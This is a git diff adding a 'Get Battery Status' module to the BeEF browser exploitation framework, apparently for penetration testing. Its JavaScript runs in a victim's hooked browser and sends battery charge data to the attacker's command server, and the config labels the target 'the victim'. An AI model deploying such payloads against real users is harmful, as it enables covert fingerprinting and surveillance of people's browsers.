diff --git a/modules/host/get_battery_status/command.js b/modules/host/get_battery_status/command.js new file mode 100644 index 000000000..470035d7a --- /dev/null +++ b/modules/host/get_battery_status/command.js @@ -0,0 +1,19 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// +beef.execute(function() { + var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery; + + if (!battery) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "Unable to get battery status"); + } + + var chargingStatus = battery.charging; + var batteryLevel = battery.level * 100 + "%"; + var chargingTime = battery.chargingTime; + var dischargingTime = battery.dischargingTime; + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "chargingStatus=" + chargingStatus + "&batteryLevel=" + batteryLevel + "&chargingTime=" + chargingTime + "&dischargingTime=" + dischargingTime); +}); diff --git a/modules/host/get_battery_status/config.yaml b/modules/host/get_battery_status/config.yaml new file mode 100644 index 000000000..fef745857 --- /dev/null +++ b/modules/host/get_battery_status/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + get_battery_status: + enable: true + category: "Host" + name: "Get Battery Status" + description: "Get informations of the victim current battery status" + authors: ["ecneladis"] + target: + working: ["FF"] + not_working: ["All"] diff --git a/modules/host/get_battery_status/module.rb b/modules/host/get_battery_status/module.rb new file mode 100644 index 000000000..3f6271a13 --- /dev/null +++ b/modules/host/get_battery_status/module.rb @@ -0,0 +1,17 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Get_battery_status < BeEF::Core::Command + + def post_execute + content = {} + content['chargingStatus'] = @datastore['chargingStatus'] + content['batteryLevel'] = @datastore['batteryLevel'] + content['chargingTime'] = @datastore['chargingTime'] + content['dischargingTime'] = @datastore['dischargingTime'] + save content + end + +end